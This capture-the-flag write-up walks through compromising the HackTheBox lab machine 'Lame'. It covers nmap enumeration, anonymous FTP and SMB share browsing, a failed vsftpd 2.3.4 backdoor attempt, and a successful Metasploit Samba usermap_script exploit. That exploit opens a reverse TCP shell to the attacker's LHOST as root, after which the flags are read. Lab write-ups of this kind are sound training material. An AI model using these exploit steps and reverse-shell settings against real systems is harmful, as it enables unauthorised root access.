Lame is a Linux machine with several open ports for FTP (vsFTPd), SSH (OpenSSH), and NetBIOS/Samba (smbd) services. This machine highlights that even though the service has known vulnerabilities, that does not mean it can be exploited. Enumeration is key to find a vulnerability that can be exploited.
1. Enumeration and Service Discovery
As the first step to exploiting the machine, we need to have a better understanding of the machine: open ports, services and service versions running on the open ports and if there are any known vulnerabilities. This is the first most important path, as it will give an understanding of the machine and decide which direction the process is headed.
As my first step to discover the ports and services, I used NMAP. Nmap is a free and open source utility for network discovery and security auditing.
I used nmap -sC -sV lame.htb to enumerate the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-07 08:29 -0400 Nmap scan report for lame.htb (10.129.1.100) Host is up (0.37s latency). Not shown: 996 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.16.36 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_smb2-time: Protocol negotiation failed (SMB2) | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: lame | NetBIOS computer name: | Domain name: hackthebox.gr | FQDN: lame.hackthebox.gr |_ System time: 2026-08-06T08:34:28-04:00 |_clock-skew: mean: -21h55m48s, deviation: 2h49m43s, median: -23h55m49s | smb-security-mode: | account_used: [blank] | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 87.70 seconds
Based on the NMAP result, the following conclusions can be made.
- Port 21 (FTP) is open and allowing Anonymous user logins. FTP service version running is
vsftpd 2.3.4. - Port 22 (SSH) is open, and service version
OpenSSH 4.7p1is running. - Port 139 (NetBIOS Session Service) is running.
- Port 445 (SMB file sharing) is open and running
Samba 3.0.20-Debianservice version.
2. The FTP Rabbit Hole (vsftpd 2.3.4)
As the first step to find a vulnerability, I tried searching the FTP service version vsftpd 2.3.4 in Exploit DB. I found a promising vulnerability vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) that the exploit is also available through Metasploit.
But since the FTP service allowed anonymous login, I decided to look around to see if I could find anything usable.
Connected to lame.htb. 220 (vsFTPd 2.3.4) Name (lame.htb:kali): Anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||47614|). 150 Here comes the directory listing. 226 Directory send OK. ftp> pwd Remote directory: / ftp>
The FTP directory was empty, and I moved on to exploit the found vulnerability through Metasploit.
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service 1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes VSFTPD 2.3.4 Backdoor Command Execution
There are two exploits available, but I decided to use unix/ftp/vsftpd_234_backdoor exploit as I am looking for a way to gain access to the machine.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS lame.htb
RHOSTS => lame.htb
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 10.10.16.36
LHOST => 10.10.16.36
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 10.10.16.36:4444
[*] 10.129.1.100:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.129.1.100:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
[+] 10.129.1.100:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[!] 10.129.1.100:21 - Unable to connect to backdoor on 6200/TCP. Cooldown?
[*] Exploit completed, but no session was created.As shown above result, even though the exploit was complete, no session was created. As this exploit did not work, I decided to move on to other services to try to find a way to gain access to the machine.
3. SMB Enumeration, Share Inspection and Exploitation
When looking at the NMAP scan result, I noticed both 139 and 445 are open, and the Samba service is allowing anonymous logins. I decided to look around the shares to see if I could find anything useful.
Password for [WORKGROUP\kali]:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP LAMEBased on the results, the tmp directory appeared interesting. So I decided to look around.
Password for [WORKGROUP\]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Aug 6 09:17:17 2026
.. DR 0 Sat Oct 31 02:33:58 2020
.ICE-unix DH 0 Thu Aug 6 08:20:10 2026
vmware-root DR 0 Thu Aug 6 08:20:59 2026
.X11-unix DH 0 Thu Aug 6 08:20:35 2026
5579.jsvc_up R 0 Thu Aug 6 08:21:20 2026
.X0-lock HR 11 Thu Aug 6 08:20:35 2026
vgauthsvclog.txt.0 R 1600 Thu Aug 6 08:20:09 2026
7282168 blocks of size 1024. 5385904 blocks available
smb: \> get vgauthsvclog.txt.0
getting file \vgauthsvclog.txt.0 of size 1600 as vgauthsvclog.txt.0 (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)I was unable to find anything usable in any of the shares. Some of the shares denied access.
Since this did not work out, I decided to look at the NMAP search result closely again and noticed 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
I found a vulnerability exploit Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit).
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution msf exploit(multi/samba/usermap_script) > run [*] Started reverse TCP handler on 10.10.16.36:4444 [*] Command shell session 1 opened (10.10.16.36:4444 -> 10.129.1.100:54941) at 2026-08-07 09:32:41 -0400 whoami root pwd
The exploit worked and landed a shell directly as root.
4. Flag Retrieval
Since I got the shell as the root user on the machine, I was able to enumerate through the machine without any restrictions.
cd /home ls ftp makis service user ls user cd user ls cd ../makis ls user.txt cat user.txt . . . cd /root ls Desktop reset_logs.sh root.txt vnc.log cat root.txt
Congrats! We found both flags!
HTB Machine Completion
